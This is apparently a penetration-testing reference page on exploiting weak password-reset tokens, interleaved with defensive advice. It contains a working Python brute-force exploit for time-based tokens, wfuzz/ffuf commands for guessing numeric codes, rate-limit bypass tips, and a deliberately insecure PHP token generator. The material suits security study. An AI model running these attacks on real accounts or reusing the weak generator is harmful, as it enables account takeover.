Reset tokens
Reset tokens are an authentication-bypass primitive. If you can predict, forge, or brute-force a token, you get the account without ever knowing the password. Four common weakness patterns:
# 1. Time-based generation - md5(username + epoch_ms)token = md5("admin1647135274123")# Trigger reset for victim, observe Date header, brute-force the ms offset
# 2. Short numeric codes - 5-6 digitsGET /reset?user=admin&token=00000 ... /reset?user=admin&token=99999# 100k attempts at ~10/sec = ~3 hours
# 3. Weak crypto - mt_rand() / Math.random() / time-seeded PRNG# Capture a few generated tokens, reconstruct the seed, predict future tokens
# 4. Token = temporary password (reusable)# Reset token sent by email IS the temporary password - never invalidated after useSuccess indicator: account access without knowing the original password, by submitting a predicted/forged/brute-forced token.
Where this lives
Section titled “Where this lives”The “forgot password” / “reset password” flow on any application. Specifically:
- User submits email/username via “forgot password” form
- Application generates a token, stores it with the user record, sends it via email
- User clicks link / enters code → submits token to validate
- Application accepts and prompts for new password
Vulnerabilities appear at step 2 (weak generation) and step 3 (weak validation):
- Generation: predictable algorithm, insufficient randomness, short token space
- Validation: no expiry, no single-use enforcement, no rate limit, accepts old tokens
Pattern 1 - Time-based token
Section titled “Pattern 1 - Time-based token”The classic vulnerability. Application uses current time as the only entropy source.
Vulnerable code
Section titled “Vulnerable code”function generate_reset_token($username) { $time = intval(microtime(true) * 1000); // milliseconds since epoch $token = md5($username . $time); return $token;}This is the logical equivalent of CVE-2016-0783 (Apache OpenMeeting). The token contains nothing the attacker can’t compute given the username and the server’s current time.
Exploitation
Section titled “Exploitation”from hashlib import md5import requestsfrom time import time
URL = "https://target.example.com/"victim = "admin"
# Step 1 - trigger a reset for the victim# (or, in a scenario where you already triggered yours and the victim's# was triggered in parallel within a 1-second window, skip this step)requests.post(URL, data={"submit": victim})
# Step 2 - server's clock at the moment of step 1, in milliseconds# Get it from the Date response header, or estimate from your local clocknow_ms = int(time() * 1000)
# Step 3 - brute-force the millisecond offset# Server clock might be ahead/behind ours by a few seconds; sweep widestart = now_ms - 3000end = now_ms + 3000
for ms in range(start, end + 1): token_guess = md5((victim + str(ms)).encode()).hexdigest()
# Submit the guess res = requests.post(URL, data={"submit": "check", "token": token_guess})
if "Wrong token" not in res.text: print(f"[+] Token found at ms={ms}: {token_guess}") print(res.text) breakThe brute-force window is small (6000 candidates for a ±3-second window at millisecond resolution) - completes in seconds against a server with no rate limit.
Getting the server’s time
Section titled “Getting the server’s time”The server’s clock differs from yours by network latency plus clock drift. Options:
Date:HTTP response header - the server announces its current time in every response- Last-Modified headers on cached resources
- Server-time embedded in any rendered page (timestamps on messages, “last login” displays)
- Estimate from your local clock + sync correction
Even with 1-second uncertainty, the brute-force window (±1000ms = 2001 candidates) completes in well under a minute.
Time-zone gotcha
Section titled “Time-zone gotcha”The server’s clock might be UTC; yours might be local. If you brute-force around local time and miss, retry around UTC time (and any other timezone the server might plausibly be in - many cloud-deployed apps run UTC regardless of where the company is based).
Defending against this
Section titled “Defending against this”Generation needs cryptographic randomness (/dev/urandom, random_bytes(), crypto.randomBytes()), not time. Never derive a security token from any value the attacker can observe or guess.
Pattern 2 - Short numeric tokens
Section titled “Pattern 2 - Short numeric tokens”To accommodate mobile/SMS workflows, some applications use 4-8 digit numeric reset codes:
SMS: Your reset code is 142857GET /reset?user=admin&code=142857A 6-digit code has 1,000,000 possible values. Without rate limiting, that’s about 28 hours at 10 attempts/second - feasible. A 5-digit code at the same rate is 3 hours.
Exploitation
Section titled “Exploitation”# wfuzz against a 5-digit numeric rangewfuzz -z range,00000-99999 \ --ss "Valid" \ "https://<TARGET>/reset.php?user=admin&token=FUZZ"The --ss "Valid" (show successful) filters for responses containing the word “Valid” - flip to --hs "Invalid" (hide failures) if the success message varies.
ffuf equivalent:
ffuf -w <(seq -f '%05g' 0 99999):TOKEN \ -u "https://<TARGET>/reset.php?user=admin&token=TOKEN" \ -fr "Invalid token"Mitigations and bypasses
Section titled “Mitigations and bypasses”Rate-limiting the reset endpoint is the obvious mitigation. When present:
- Per-IP rate limits → header smuggling (see Bruteforce protections)
- Per-token rate limits → not really possible (token is what’s being brute-forced)
- Per-user attempt counters → expire the request and re-request a new token (some apps reset the attempt counter on each new token issuance)
Token expiry shortens the window - a 5-minute expiry on a 5-digit code at 100 attempts/sec from a single IP is just barely brute-forceable (30k attempts in 5 minutes against a 100k space). Add header rotation to parallelize across “many IPs” and the math becomes much more favorable.
Defending against this
Section titled “Defending against this”Long tokens (32+ characters of cryptographic randomness, in URL form). The “short for SMS” requirement was always a fake constraint - modern UX is to send a link that auto-opens the app, not to make the user type a code by hand.
Pattern 3 - Weak crypto (mt_rand and friends)
Section titled “Pattern 3 - Weak crypto (mt_rand and friends)”PHP’s mt_rand(), JavaScript’s Math.random(), and other classic PRNG functions are not cryptographically secure. They use Mersenne Twister or similar algorithms with small seed spaces - given a few outputs, you can predict all past and future outputs.
The OpenCart case study
Section titled “The OpenCart case study”F-Secure Labs documented this against OpenCart. OpenCart used mt_rand() for:
- CAPTCHA challenge values
- Session IDs
- Password reset tokens
By collecting a few CAPTCHA values (which require no authentication), an attacker could reconstruct the Mersenne Twister seed and predict every other mt_rand()-derived value in the system - including upcoming password reset tokens for other users.
Exploitation toolchain
Section titled “Exploitation toolchain”# php_mt_seed - recover the seed from a single mt_rand() output# Get it from https://www.openwall.com/php_mt_seed/./php_mt_seed 1234567890
# Snowflake - JavaScript Math.random() seed recovery# https://github.com/GeorgeArgyros/SnowflakeThese tools take a few observed outputs and search the seed space. Once the seed is recovered, every future “random” value is deterministic.
Identifying weak PRNG use
Section titled “Identifying weak PRNG use”When you have access to source code (open-source applications, leaked source, accidentally-exposed .git), grep for the function calls:
mt_rand() PHP - Mersenne Twister, predictablerand() PHP, C - weakestMath.random() JavaScript - predictableRandom() C# (without RNGCryptoServiceProvider)java.util.Random Java (vs java.security.SecureRandom)Cryptographically safe alternatives:
random_bytes() PHP 7+random_int() PHP 7+crypto.randomBytes() Node.jscrypto.getRandomValues JavaScript Web Crypto APISecureRandom Javasecrets module PythonWithout source access
Section titled “Without source access”Collect a few generated tokens (or any other PRNG-derived value visible to you - CAPTCHA, session IDs, anything that varies between requests). Run them through seed-recovery tools. If a seed is recoverable, the application is using a weak PRNG.
This is a difficult attack to execute well in a time-boxed engagement but devastating when it works.
Pattern 4 - Token as temporary password
Section titled “Pattern 4 - Token as temporary password”Some applications send the “reset token” via email as a temporary password - usable directly to log in, with the assumption the user will change it after the first login.
Email: "Your temporary password is: pT9aB3xK"Login form: username=victim, password=pT9aB3xK → access grantedWhen this is the case, two follow-on bugs are common:
Bug 1 - The temporary password is generated by a weak algorithm
Section titled “Bug 1 - The temporary password is generated by a weak algorithm”If the temp password is md5(username), base64(hex(time)), or any other predictable function, the operator can forge a temp password for any user just by computing it.
A real example from authentication training: temp passwords were generated as base64(hex(plaintext)) where the plaintext was a predictable transformation of the username. Decoding one operator-controlled temp password reveals the algorithm; encoding for another username produces a working temp password for that user.
Bug 2 - The temp password isn’t invalidated after use
Section titled “Bug 2 - The temp password isn’t invalidated after use”If the temporary password remains valid after the user has already changed their password, an attacker who captured the temp password at issuance time has persistent access.
Exploitation
Section titled “Exploitation”When you have access to the algorithm:
# Hypothetical: temp password = base64(hex(username))import base64
def make_temp_password(username): hex_form = username.encode().hex() return base64.b64encode(hex_form.encode()).decode()
print(make_temp_password("admin"))# Then try this as the password for admin's accountWhen you only have the temp password from a real reset and want to test the algorithm:
Trigger reset for your-own-account → receive temp password "X9pK4mQ2"Decode: base64 → hex → ASCII → "userid:role:expiry" or similarReconstruct for victim, encode the same wayCyberChef is the standard tool for the decoding/re-encoding loop - try Base64, hex, base32, ROT13, URL decode in various combinations.
Other failure modes
Section titled “Other failure modes”A few less common but still exploitable patterns:
- No expiry - token issued months ago still works
- No single-use - same token works repeatedly until expiry
- Reuse across users - token issued for User A also works for User B (rare but documented)
- Username smuggling at reset time - even when the token is strong, the form trusts user-supplied identity (see Username injection)
- Token in URL → server logs - sysadmin with log access can replay reset tokens for arbitrary users
Detection-only checks
Section titled “Detection-only checks”# Trigger a reset for an account you control and observe the token# Check token length, character set, and entropyecho "1: $TOKEN1" | wc -c # lengthecho "1: $TOKEN1" | grep -E '^[a-f0-9]+$' # hex only? → likely MD5/SHA1echo "1: $TOKEN1" | grep -E '^[0-9]+$' # digits only? → numeric code
# Trigger 5 resets, compare tokens# Random tokens should look completely different each time# Time-based tokens will share leading charactersIf tokens of length 32 are entirely hexadecimal, suspect MD5/SHA1. If sequential resets produce tokens with shared characters in stable positions, the algorithm is not purely random.
- Reset attempts are visible to the victim. A user whose account gets a reset email they didn’t request is a possible OPSEC failure. Test against your own accounts where possible; expand carefully.
- The Date header is the easiest server-clock leak. Almost every HTTP response includes it. Time-zone aside, sub-second clock skew between attacker and server is recoverable from a single request.
- Reset tokens often persist server-side longer than the policy claims. Even when documentation says “tokens expire after 1 hour,” some implementations only check during the validation step and continue accepting expired tokens for some additional window. Test boundaries.
- For Apache OpenMeeting specifically (CVE-2016-0783). The vulnerability was patched but the pattern is generic - many other applications have reinvented this bug independently.